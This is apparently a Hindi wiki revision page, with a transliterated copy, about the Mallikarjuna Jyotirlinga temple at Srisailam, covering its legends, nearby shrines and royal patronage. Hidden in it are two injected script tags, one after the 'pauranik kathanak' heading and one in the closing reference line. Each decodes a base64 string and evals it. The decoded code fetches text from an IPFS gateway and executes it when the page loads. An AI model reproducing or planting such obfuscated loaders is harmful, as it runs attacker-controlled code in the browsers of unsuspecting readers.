Difference between revisions of "मल्लिकार्जुन ज्योतिर्लिंग"

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[[आन्ध्र प्रदेश]] के [[कृष्णा ज़िला|कृष्णा ज़िले]] में [[कृष्णा नदी]] के तटपर श्रीशैल पर्वत पर श्रीमल्लिकार्जुन  विराजमान हैं। इसे दक्षिण का कैलाश कहते हैं। अनेक धर्मग्रन्थों में इस स्थान की महिमा बतायी गई है। [[महाभारत]] के अनुसार श्रीशैल पर्वत पर भगवान [[शिव]] का पूजन करने से [[अश्वमेध यज्ञ]] करने का फल प्राप्त होता है। कुछ ग्रन्थों में तो यहाँ तक लिखा है कि श्रीशैल के शिखर के दर्शन मात्र करने से दर्शको के सभी प्रकार के कष्ट दूर भाग जाते हैं, उसे अनन्त सुखों की प्राप्ति होती है और आवागमन के चक्कर से मुक्त हो जाता है। इस आशय का वर्णन [[शिव पुराण|शिव महापुराण]] के कोटिरुद्र संहिता के पन्द्रहवे अध्याय में उपलब्ध होता है।−
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[[आन्ध्र प्रदेश]] के [[कृष्णा ज़िला|कृष्णा ज़िले]] में [[कृष्णा नदी]] के तट पर श्रीशैल पर्वत पर श्रीमल्लिकार्जुन  विराजमान हैं। इसे दक्षिण का कैलाश कहते हैं। अनेक धर्मग्रन्थों में इस स्थान की महिमा बतायी गई है। [[महाभारत]] के अनुसार श्रीशैल पर्वत पर भगवान [[शिव]] का पूजन करने से [[अश्वमेध यज्ञ]] करने का फल प्राप्त होता है। कुछ ग्रन्थों में तो यहाँ तक लिखा है कि श्रीशैल के शिखर के दर्शन मात्र करने से दर्शको के सभी प्रकार के कष्ट दूर भाग जाते हैं, उसे अनन्त सुखों की प्राप्ति होती है और आवागमन के चक्कर से मुक्त हो जाता है। इस आशय का वर्णन [[शिव पुराण|शिव महापुराण]] के [[कोटिरुद्र संहिता]] के पन्द्रहवे अध्याय में उपलब्ध होता है।−
 
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तदिद्नं हि समारभ्य मल्लिकार्जुन सम्भवम्।
 
तदिद्नं हि समारभ्य मल्लिकार्जुन सम्भवम्।
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==पौराणिक कथानक==  
 
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[[शिव]] [[पार्वती देवी|पार्वती]] के पुत्र स्वामी [[कार्तिकेय]] और श्री[[गणेश]] दोनों भाई विवाह के लिए आपस में कलह करने लगे। कार्तिकेय का कहना था कि वे बड़े हैं, इसलिए उनका विवाह पहले होना चाहिए, किन्तु श्री गणेश अपना विवाह पहले करना चाहते थे। इस झगड़े पर फैसला देने के लिए दोनों अपने माता-पिता भवानी और शंकर के पास पहूँचे। उनके माता-पिता ने कहा कि तुम दोनों में जो कोई इस पृथ्वी की परिक्रमा करके पहले यहाँ आ जाएगा, उसी का विवाह पहले होगा। शर्त सुनते ही कार्तिकेय जी [[पृथ्वी देवी|पृथ्वी]] की परिक्रमा करने के लिए दौड़ पड़े। इधर स्थूलकाय श्री गणेश जी और उनका वाहन भी चूहा, भला इतनी शीघ्रता से वे परिक्रमा कैसे कर सकते थे। गणेश जी के सामने भारी समस्या उपस्थित थी। श्रीगणेश जी शरीर से ज़रूर स्थूल हैं, किन्तु वे बुद्धि के सागर हैं। उन्होंने कुछ सोच-विचार किया और अपनी माता पार्वती तथा पिता देवाधिदेव महेश्वर से एक आसन पर बैठने का आग्रह किया। उन दोनों के आसन पर बैठ जाने के बाद श्रीगणेश ने उनकी सात परिक्रमा की, फिर विधिवत् पूजन किया-
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[[शिव]] [[पार्वती देवी|पार्वती]] के पुत्र स्वामी [[कार्तिकेय]] और [[गणेश]] दोनों भाई विवाह के लिए आपस में कलह करने लगे। कार्तिकेय का कहना था कि वे बड़े हैं, इसलिए उनका विवाह पहले होना चाहिए, किन्तु श्री गणेश अपना विवाह पहले करना चाहते थे। इस झगड़े पर फैसला देने के लिए दोनों अपने माता-पिता भवानी और शंकर के पास पहुँचे। उनके माता-पिता ने कहा कि तुम दोनों में जो कोई इस पृथ्वी की परिक्रमा करके पहले यहाँ आ जाएगा, उसी का विवाह पहले होगा। शर्त सुनते ही कार्तिकेय जी [[पृथ्वी देवी|पृथ्वी]] की परिक्रमा करने के लिए दौड़ पड़े। इधर स्थूलकाय श्री गणेश जी और उनका वाहन भी चूहा, भला इतनी शीघ्रता से वे परिक्रमा कैसे कर सकते थे। गणेश जी के सामने भारी समस्या उपस्थित थी। श्रीगणेश जी शरीर से ज़रूर स्थूल हैं, किन्तु वे बुद्धि के सागर हैं। उन्होंने कुछ सोच-विचार किया और अपनी माता पार्वती तथा पिता देवाधिदेव महेश्वर से एक आसन पर बैठने का आग्रह किया। उन दोनों के आसन पर बैठ जाने के बाद श्रीगणेश ने उनकी सात परिक्रमा की, फिर विधिवत् पूजन किया-
 
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पित्रोश्च पूजनं कृत्वा प्रकान्तिं च करोति यः।
 
पित्रोश्च पूजनं कृत्वा प्रकान्तिं च करोति यः।
 
तस्य वै पृथिवीजन्यं फलं भवति निश्चितम्।।
 
तस्य वै पृथिवीजन्यं फलं भवति निश्चितम्।।
 
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इस प्रकार श्रीगणेश माता-पिता की परिक्रमा करके पृथ्वी की परिक्रमा से प्राप्त होने वाले फल की प्राप्ति के अधिकारी बन गये। उनकी चतुर बुद्धि को देख कर शिव और पार्वती दोनों बहुत प्रसन्न हुए और उन्होंने श्रीगणेश का विवाह भी करा दिया। जिस समय स्वामी कार्तिकेय सम्पूर्ण पृथ्वी की परिक्रमा करके वापस आये, उस समय श्रीगणेश जी का विवाह विश्वरूप प्रजापति की पुत्रियों सिद्धि और बुद्धि के साथ हो चुका था। इतना ही नहीं श्री गणेशजी की उनकी ‘सिद्धि’ नामक पत्नी से ‘क्षेम’ तथा बुद्धि नामक पत्नी से ‘लाभ’ ये दो पुत्ररत्न भी मिल गये थे। भ्रमणशील और जगत का कल्याण करने वाले [[नारद|देवर्षि नारद]] ने स्वामी कार्तिकेय से यह सारा वृतान्त कहा सुनाया। श्रीगणेश का विवाह और उन्हें पुत्र लाभ का समाचार सुनकर स्वामी कार्तिकेय जल उठे। इस प्रकरण से नाराज़ कार्तिक ने शिष्टाचार का पालन करते हुए अपने माता-पिता के चरण छुये और वहाँ से चल दिये।
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इस प्रकार श्रीगणेश माता-पिता की परिक्रमा करके पृथ्वी की परिक्रमा से प्राप्त होने वाले फल की प्राप्ति के अधिकारी बन गये। उनकी चतुर बुद्धि को देख कर शिव और पार्वती दोनों बहुत प्रसन्न हुए और उन्होंने श्रीगणेश का विवाह भी करा दिया। जिस समय स्वामी कार्तिकेय सम्पूर्ण पृथ्वी की परिक्रमा करके वापस आये, उस समय श्रीगणेश जी का विवाह विश्वरूप प्रजापति की पुत्रियों सिद्धि और बुद्धि के साथ हो चुका था। इतना ही नहीं श्री गणेशजी को उनकी ‘सिद्धि’ नामक पत्नी से ‘क्षेम’ तथा बुद्धि नामक पत्नी से ‘लाभ’, ये दो पुत्ररत्न भी मिल गये थे। भ्रमणशील और जगत् का कल्याण करने वाले [[नारद|देवर्षि नारद]] ने स्वामी कार्तिकेय से यह सारा वृत्तांत कहा सुनाया। श्रीगणेश का विवाह और उन्हें पुत्र लाभ का समाचार सुनकर स्वामी कार्तिकेय जल उठे। इस प्रकरण से नाराज़ कार्तिक ने शिष्टाचार का पालन करते हुए अपने माता-पिता के चरण छुए और वहाँ से चल दिये।
  
माता-पिता अलग होकर कार्तिक स्वामी क्रौंच पर्वत पर रहने लगे। शिव और पार्वती ने अपने पुत्र कार्तिकेय को समझा-बुझाकर बुलाने हेतु देवर्षि नारद को क्रौंचपर्वत पर भेजा। देवर्षि नारद ने बहुत प्रकार से स्वामी को मनाने का प्रयास किया, किन्तु वे वापस नहीं आये। उसके बाद कोमल ह्दय माता पार्वती पुत्र स्नेह में व्याकुल हो उठीं। वे भगवान शिव जी को लेकर क्रौंच पर्वत पर पहुँच गई। इधर स्वामी कार्तिकेय को क्रौंच पर्वत अपने माता-पिता के आगमन की सूचना मिल गई और वे वहाँ से तीन [[योजन]] अर्थात छत्तीस किलोमीटर दूर चले गये। कार्तिकेय के चले जाने पर भगवान् शिव उस क्रौंच पर्वत पर ज्योतिर्लिंग के रूप में प्रकट हो गये तभी से वे ‘मल्लिकार्जुन’ ज्योतिर्लिं के नाम से प्रसिद्ध हुए ‘मल्लिका’ माता पार्वती का नाम है, जबकि ‘अर्जुन’ भगवान शंकर को कहा जाता है। इस प्रकार सम्मिलित रूप से ‘मल्लिकार्जुन’ नाम उक्त ज्योतिर्लिंग का जगत में प्रसिद्ध हुआ।
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माता-पिता से अलग होकर कार्तिक स्वामी [[क्रौंच पर्वत]] पर रहने लगे। शिव और पार्वती ने अपने पुत्र कार्तिकेय को समझा-बुझाकर बुलाने हेतु देवर्षि नारद को क्रौंचपर्वत पर भेजा। देवर्षि नारद ने बहुत प्रकार से स्वामी को मनाने का प्रयास किया, किन्तु वे वापस नहीं आये। उसके बाद कोमल हृदय माता पार्वती पुत्र स्नेह में व्याकुल हो उठीं। वे भगवान शिव जी को लेकर क्रौंच पर्वत पर पहुँच गईं। इधर स्वामी कार्तिकेय को क्रौंच पर्वत अपने माता-पिता के आगमन की सूचना मिल गई और वे वहाँ से तीन [[योजन]] अर्थात् छत्तीस किलोमीटर दूर चले गये। कार्तिकेय के चले जाने पर भगवान शिव उस क्रौंच पर्वत पर ज्योतिर्लिंग के रूप में प्रकट हो गये तभी से वे ‘मल्लिकार्जुन’ ज्योतिर्लिंग के नाम से प्रसिद्ध हुए। ‘मल्लिका’ माता पार्वती का नाम है, जबकि ‘अर्जुन’ भगवान शंकर को कहा जाता है। इस प्रकार सम्मिलित रूप से ‘मल्लिकार्जुन’ नाम उक्त ज्योतिर्लिंग का जगत् में प्रसिद्ध हुआ।
 
==अन्य कथानक==
 
==अन्य कथानक==
एक अन्य कथानक के अनुसार कौंच पर्वत के समीप में ही चन्द्रगुप्त नामक किसी राजा की राजधानी थी। उनकी राजकन्या किसी संकट में उलझ गई थी उस विपत्ति से बचने के लिए वह अपने पिता के राजमहल से भागकर पर्वतराज की शरण में पहुँच गई। वह कन्या ग्वालों के साथ कन्दमूल खाती और दूध पीती थी। इस प्रकार उसका जीवन-निर्वाह उस पर्वत पर होने लगा। उस कन्या के पास एक श्यामा (काली) गौ थी, जिसकी सेवा वह स्वयं करती थी। उस गौ के साथ विचित्र घटना घटित होने लगी। कोई व्यक्ति छिपकर प्रतिदिन उस श्यामा का दूध निकाल लेता था।
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एक अन्य कथानक के अनुसार कौंच पर्वत के समीप में ही चन्द्रगुप्त नामक किसी राजा की राजधानी थी। उनकी राजकन्या किसी संकट में उलझ गई थी। उस विपत्ति से बचने के लिए वह अपने पिता के राजमहल से भागकर पर्वतराज की शरण में पहुँच गई। वह कन्या ग्वालों के साथ कन्दमूल खाती और दूध पीती थी। इस प्रकार उसका जीवन-निर्वाह उस पर्वत पर होने लगा। उस कन्या के पास एक श्यामा (काली) गौ थी, जिसकी सेवा वह स्वयं करती थी। उस गौ के साथ विचित्र घटना घटित होने लगी। कोई व्यक्ति छिपकर प्रतिदिन उस श्यामा का दूध निकाल लेता था।
एक दिन उस कन्या ने किसी चोर को श्यामा का दूध दुहते हुए देख लिया, तब वह क्रोध में आगबबूला हो उसको मारने के लिए दौड़ पड़ी। जब वह गौ के समीप पहुँची, तो उसके आश्चर्य का ठिकाना न रहा, क्योंकि वहाँ उसे एक शिवलिंग के अतिरिक्त कुछ भी दिखाई नहीं दिया। आगे चलकर उस राजकुमारी ने उस शिवलिंग के ऊपर एक सुन्दर सा मन्दिर बनवा दिया। वही प्राचीन शिवलिंग आज ‘मल्लिकार्जुन’ ज्योतिर्लिंग के नाम से प्रसिद्ध है। इस मन्दिर का भलीभाँति सर्वेक्षण करने के बाद पुरातत्ववेत्ताओं ने ऐसा अनुमान किया है कि इसका निर्माणकार्य लगभग दो हज़ार वर्ष प्राचीन है। इस ऐतिहासिक मन्दिर के दर्शनार्थ बड़े-बड़े राजा-महाराजा समय-समय से आते रहे हैं।
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एक दिन उस कन्या ने किसी चोर को श्यामा का दूध दुहते हुए देख लिया, तब वह क्रोध में आगबबूला हो उसको मारने के लिए दौड़ पड़ी। जब वह गौ के समीप पहुँची, तो उसके आश्चर्य का ठिकाना न रहा, क्योंकि वहाँ उसे एक शिवलिंग के अतिरिक्त कुछ भी दिखाई नहीं दिया। आगे चलकर उस राजकुमारी ने उस शिवलिंग के ऊपर एक सुन्दर सा मन्दिर बनवा दिया। वही प्राचीन शिवलिंग आज ‘मल्लिकार्जुन’ ज्योतिर्लिंग के नाम से प्रसिद्ध है। इस मन्दिर का भलीभाँति सर्वेक्षण करने के बाद पुरातत्त्ववेत्ताओं ने ऐसा अनुमान किया है कि इसका निर्माणकार्य लगभग दो हज़ार वर्ष प्राचीन है। इस ऐतिहासिक मन्दिर के दर्शनार्थ बड़े-बड़े राजा-महाराजा समय-समय पर आते रहे हैं।
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==अन्य तीर्थ एवं दर्शनीय स्थल==
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मुख्य मंदिर के बाहर पीपल पाकर का सम्मिलित वृक्ष है। उसके आस-पास चबूतरा है। [[दक्षिण भारत]] के दूसरे मंदिरों के समान यहाँ भी मूर्ति तक जाने का टिकट कार्यालय से लेना पड़ता है। पूजा का शुल्क टिकट भी पृथक् होता है। यहाँ लिंग मूर्ति का स्पर्श प्राप्त होता है। मल्लिकार्जुन मंदिर के पीछे पार्वती मंदिर है। इन्हें मल्लिका देवी कहते हैं। सभा मंडप में [[नन्दी]] की विशाल मूर्ति है।
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'''पातालगंगा'''- मंदिर के पूर्वद्वार से लगभग दो मील पर पातालगंगा है। इसका मार्ग कठिन है। एक मील उतार और फिर 852 सीढ़ियाँ हैं। पर्वत के नीचे [[कृष्णा नदी]] है। यात्री स्नान करके वहाँ से चढ़ाने के लिए जल लाते हैं। वहाँ कृष्णा नदी में दो नाले मिलते हैं। वह स्थान त्रिवेणी कहा जाता है। उसके समीप पूर्व की ओर एक गुफा में भैरवादि मूर्तियाँ हैं। यह गुफा कई मील गहरी कही जाती है। अब यात्री मोटर बस से 4 मील आकर कृष्णा में स्नान करते हैं।
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'''भ्रमराम्बादेवी'''- मल्लिकार्जुन मंदिर से पश्चिम में दो मील पर यह मंदिर है। यह 51 शक्तिपीठों में है। यहाँ [[सती]] की ग्रीवा गिरी थी।
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'''शिखरेश्वर'''- मल्लिकार्जुन से 6 मील पर शिखरेश्वर तथा हाटकेश्वर मंदिर है। यह मार्ग कठिन है।
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'''विल्वन'''- शिखरेश्वर से 6 मील पर एकम्मा देवी का मंदिर घोर वन में है। यहाँ मार्ग दर्शक एवं सुरक्षा के बिना यात्रा संभव नहीं। हिंसक पशु इधर बन में बहुत हैं।
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श्रीशैल का यह पूरा क्षेत्र घोर वन में है। अतः मोटर मार्ग ही है। पैदल यहाँ की यात्रा केवल [[शिवरात्रि]] पर होती है<ref> {{पुस्तक संदर्भ |पुस्तक का नाम= हिन्दूओं के तीर्थ स्थान|लेखक= सुदर्शन सिंह 'चक्र'|अनुवादक= |आलोचक= |प्रकाशक=|संकलन=|संपादन=|पृष्ठ संख्या=92|url=}}</ref>।
 
==विजयनगर के महाराजा द्वारा निर्माण==
 
==विजयनगर के महाराजा द्वारा निर्माण==
आज से लगभग पाँच सौ वर्ष पूर्व श्री विजयनगर के महाराजा कृष्णराय यहाँ पहुँचे थे। उन्होंने यहाँ एक सुन्दर मण्डप का भी निर्माण् कराया था। जिसका शिखर सोने का बना हुआ था। उनके डेढ़ सौ वर्षों बाद महाराज [[शिवाजी]] भी मल्लिकार्जुन ज्योतिर्लिंग के दर्शन हेतु क्रौंचपर्वत पर पहुँचे थे। उन्होंने मन्दिर से थोड़ी ही दूरी पर यात्रियों के लिए एक उत्तम धर्मशाला बनवायी थी। इस पर्वत पर बहुत से शिवलिंग मिलते हैं। यहाँ पर [[शिवरात्रि|महाशिवरात्रि]] के दिन मेला लगता है। मन्दिर के पास जगदम्बा का भी एक स्थान है। यहाँ माँ पार्वती को ‘भ्रमराम्बा’ कहा जाता है। मल्लिकार्जुन ज्योतिर्लिंग की पहाड़ी से पाँच किलोमीटर नीचे पातालगंगा के नाम प्रसिद्ध [[कृष्णा नदी]] हैं, जिसमें स्नान करने का महत्त्व शास्त्रो में वर्णित है।
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आज से लगभग पाँच सौ वर्ष पूर्व श्री विजयनगर के महाराजा कृष्णराय यहाँ पहुँचे थे। उन्होंने यहाँ एक सुन्दर मण्डप का भी निर्माण कराया था, जिसका शिखर सोने का बना हुआ था। उनके डेढ़ सौ वर्षों बाद महाराज [[शिवाजी]] भी मल्लिकार्जुन ज्योतिर्लिंग के दर्शन हेतु [[क्रौंच पर्वत]] पर पहुँचे थे। उन्होंने मन्दिर से थोड़ी ही दूरी पर यात्रियों के लिए एक उत्तम धर्मशाला बनवायी थी। इस पर्वत पर बहुत से शिवलिंग मिलते हैं। यहाँ पर [[शिवरात्रि|महाशिवरात्रि]] के दिन मेला लगता है। मन्दिर के पास जगदम्बा का भी एक स्थान है। यहाँ माँ पार्वती को ‘भ्रमराम्बा’ कहा जाता है। मल्लिकार्जुन ज्योतिर्लिंग की पहाड़ी से पाँच किलोमीटर नीचे पातालगंगा के नाम से प्रसिद्ध [[कृष्णा नदी]] हैं, जिसमें स्नान करने का महत्त्व शास्त्रों में वर्णित है।
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==संबंधित लेख==
 
==संबंधित लेख==
 
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[[Category:आंध्र_प्रदेश]]
 
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[[Category:धार्मिक_स्थल_कोश]]
 
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[[Category:भारत_के_पर्यटन_स्थल]]
 
 
[[Category:आंध्र_प्रदेश_के_पर्यटन_स्थल]]
 
[[Category:आंध्र_प्रदेश_के_पर्यटन_स्थल]]
 
[[Category:ज्योतिर्लिंग]][[Category:हिन्दू मन्दिर]][[Category:हिन्दू तीर्थ]]
 
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Latest revision as of 07:45, 7 November 2017

mallikarjun jyotirliang
Mallikarjuna Jyotirlinga|thumb|200px
andhr pradesh ke krishnaa zile mean krishnaa nadi ke tat par shrishail parvat par shrimallikarjun virajaman haian. ise dakshin ka kailash kahate haian. anek dharmagranthoan mean is sthan ki mahima batayi gee hai. mahabharat ke anusar shrishail parvat par bhagavan shiv ka poojan karane se ashvamedh yajn karane ka phal prapt hota hai. kuchh granthoan mean to yahaan tak likha hai ki shrishail ke shikhar ke darshan matr karane se darshako ke sabhi prakar ke kasht door bhag jate haian, use anant sukhoan ki prapti hoti hai aur avagaman ke chakkar se mukt ho jata hai. is ashay ka varnan shiv mahapuran ke kotirudr sanhita ke pandrahave adhyay mean upalabdh hota hai.−

tadidnan hi samarabhy mallikarjun sambhavamh.
liangan chaiv shivasyaikan prasiddhan bhuvanatraye..
talliang yah samikshate s savaiah kilbishairapi.
muchyate natr sandehah sarvankamanavapnuyath..
duahkhan ch doorato yati sukhamatyantikan labhet.
jananigarbhasambhoot kashtan napnoti vai punah..
dhanadhanyasamriddhishch pratishthaaarogyamev ch.
abhishtaphalasiddhishch jayate natr sanshayah..

pauranik kathanak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shiv parvati ke putr svami kartikey aur ganesh donoan bhaee vivah ke lie apas mean kalah karane lage. kartikey ka kahana tha ki ve b de haian, isalie unaka vivah pahale hona chahie, kintu shri ganesh apana vivah pahale karana chahate the. is jhag de par phaisala dene ke lie donoan apane mata-pita bhavani aur shankar ke pas pahuanche. unake mata-pita ne kaha ki tum donoan mean jo koee is prithvi ki parikrama karake pahale yahaan a jaega, usi ka vivah pahale hoga. shart sunate hi kartikey ji prithvi ki parikrama karane ke lie dau d p de. idhar sthoolakay shri ganesh ji aur unaka vahan bhi chooha, bhala itani shighrata se ve parikrama kaise kar sakate the. ganesh ji ke samane bhari samasya upasthit thi. shriganesh ji sharir se zaroor sthool haian, kintu ve buddhi ke sagar haian. unhoanne kuchh soch-vichar kiya aur apani mata parvati tatha pita devadhidev maheshvar se ek asan par baithane ka agrah kiya. un donoan ke asan par baith jane ke bad shriganesh ne unaki sat parikrama ki, phir vidhivath poojan kiya-

pitroshch poojanan kritva prakantian ch karoti yah.
tasy vai prithivijanyan phalan bhavati nishchitamh..

is prakar shriganesh mata-pita ki parikrama karake prithvi ki parikrama se prapt hone vale phal ki prapti ke adhikari ban gaye. unaki chatur buddhi ko dekh kar shiv aur parvati donoan bahut prasann hue aur unhoanne shriganesh ka vivah bhi kara diya. jis samay svami kartikey sampoorn prithvi ki parikrama karake vapas aye, us samay shriganesh ji ka vivah vishvaroop prajapati ki putriyoan siddhi aur buddhi ke sath ho chuka tha. itana hi nahian shri ganeshaji ko unaki ‘siddhi’ namak patni se ‘kshem’ tatha buddhi namak patni se ‘labh’, ye do putraratn bhi mil gaye the. bhramanashil aur jagath ka kalyan karane vale devarshi narad ne svami kartikey se yah sara vrittaant kaha sunaya. shriganesh ka vivah aur unhean putr labh ka samachar sunakar svami kartikey jal uthe. is prakaran se naraz kartik ne shishtachar ka palan karate hue apane mata-pita ke charan chhue aur vahaan se chal diye.

mata-pita se alag hokar kartik svami krauanch parvat par rahane lage. shiv aur parvati ne apane putr kartikey ko samajha-bujhakar bulane hetu devarshi narad ko krauanchaparvat par bheja. devarshi narad ne bahut prakar se svami ko manane ka prayas kiya, kintu ve vapas nahian aye. usake bad komal hriday mata parvati putr sneh mean vyakul ho uthian. ve bhagavan shiv ji ko lekar krauanch parvat par pahuanch geean. idhar svami kartikey ko krauanch parvat apane mata-pita ke agaman ki soochana mil gee aur ve vahaan se tin yojan arthath chhattis kilomitar door chale gaye. kartikey ke chale jane par bhagavan shiv us krauanch parvat par jyotirliang ke roop mean prakat ho gaye tabhi se ve ‘mallikarjun’ jyotirliang ke nam se prasiddh hue. ‘mallika’ mata parvati ka nam hai, jabaki ‘arjun’ bhagavan shankar ko kaha jata hai. is prakar sammilit roop se ‘mallikarjun’ nam ukt jyotirliang ka jagath mean prasiddh hua.

any kathanak

ek any kathanak ke anusar kauanch parvat ke samip mean hi chandragupt namak kisi raja ki rajadhani thi. unaki rajakanya kisi sankat mean ulajh gee thi. us vipatti se bachane ke lie vah apane pita ke rajamahal se bhagakar parvataraj ki sharan mean pahuanch gee. vah kanya gvaloan ke sath kandamool khati aur doodh piti thi. is prakar usaka jivan-nirvah us parvat par hone laga. us kanya ke pas ek shyama (kali) gau thi, jisaki seva vah svayan karati thi. us gau ke sath vichitr ghatana ghatit hone lagi. koee vyakti chhipakar pratidin us shyama ka doodh nikal leta tha. ek din us kanya ne kisi chor ko shyama ka doodh duhate hue dekh liya, tab vah krodh mean agababoola ho usako marane ke lie dau d p di. jab vah gau ke samip pahuanchi, to usake ashchary ka thikana n raha, kyoanki vahaan use ek shivaliang ke atirikt kuchh bhi dikhaee nahian diya. age chalakar us rajakumari ne us shivaliang ke oopar ek sundar sa mandir banava diya. vahi prachin shivaliang aj ‘mallikarjun’ jyotirliang ke nam se prasiddh hai. is mandir ka bhalibhaanti sarvekshan karane ke bad puratattvavettaoan ne aisa anuman kiya hai ki isaka nirmanakary lagabhag do hazar varsh prachin hai. is aitihasik mandir ke darshanarth b de-b de raja-maharaja samay-samay par ate rahe haian.

any tirth evan darshaniy sthal

mukhy mandir ke bahar pipal pakar ka sammilit vriksh hai. usake as-pas chabootara hai. dakshin bharat ke doosare mandiroan ke saman yahaan bhi moorti tak jane ka tikat karyalay se lena p data hai. pooja ka shulk tikat bhi prithakh hota hai. yahaan liang moorti ka sparsh prapt hota hai. mallikarjun mandir ke pichhe parvati mandir hai. inhean mallika devi kahate haian. sabha mandap mean nandi ki vishal moorti hai.

patalaganga- mandir ke poorvadvar se lagabhag do mil par patalaganga hai. isaka marg kathin hai. ek mil utar aur phir 852 sidhiyaan haian. parvat ke niche krishnaa nadi hai. yatri snan karake vahaan se chadhane ke lie jal late haian. vahaan krishnaa nadi mean do nale milate haian. vah sthan triveni kaha jata hai. usake samip poorv ki or ek gupha mean bhairavadi moortiyaan haian. yah gupha kee mil gahari kahi jati hai. ab yatri motar bas se 4 mil akar krishnaa mean snan karate haian.

bhramarambadevi- mallikarjun mandir se pashchim mean do mil par yah mandir hai. yah 51 shaktipithoan mean hai. yahaan sati ki griva giri thi.

shikhareshvar- mallikarjun se 6 mil par shikhareshvar tatha hatakeshvar mandir hai. yah marg kathin hai.

vilvan- shikhareshvar se 6 mil par ekamma devi ka mandir ghor van mean hai. yahaan marg darshak evan suraksha ke bina yatra sanbhav nahian. hiansak pashu idhar ban mean bahut haian.

shrishail ka yah poora kshetr ghor van mean hai. atah motar marg hi hai. paidal yahaan ki yatra keval shivaratri par hoti hai[1].

vijayanagar ke maharaja dvara nirman

aj se lagabhag paanch sau varsh poorv shri vijayanagar ke maharaja krishnaray yahaan pahuanche the. unhoanne yahaan ek sundar mandap ka bhi nirman karaya tha, jisaka shikhar sone ka bana hua tha. unake dedh sau varshoan bad maharaj shivaji bhi mallikarjun jyotirliang ke darshan hetu krauanch parvat par pahuanche the. unhoanne mandir se tho di hi doori par yatriyoan ke lie ek uttam dharmashala banavayi thi. is parvat par bahut se shivaliang milate haian. yahaan par mahashivaratri ke din mela lagata hai. mandir ke pas jagadamba ka bhi ek sthan hai. yahaan maan parvati ko ‘bhramaramba’ kaha jata hai. mallikarjun jyotirliang ki paha di se paanch kilomitar niche patalaganga ke nam se prasiddh krishnaa nadi haian, jisamean snan karane ka mahattv shastroan mean varnit hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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sanbandhit lekh

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suvyavasthit lekh|link=bharatakosh:suvyavasthit lekh
  1. hindoooan ke tirth sthan |lekhak: sudarshan sianh 'chakr' |prishth sankhya: 92 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>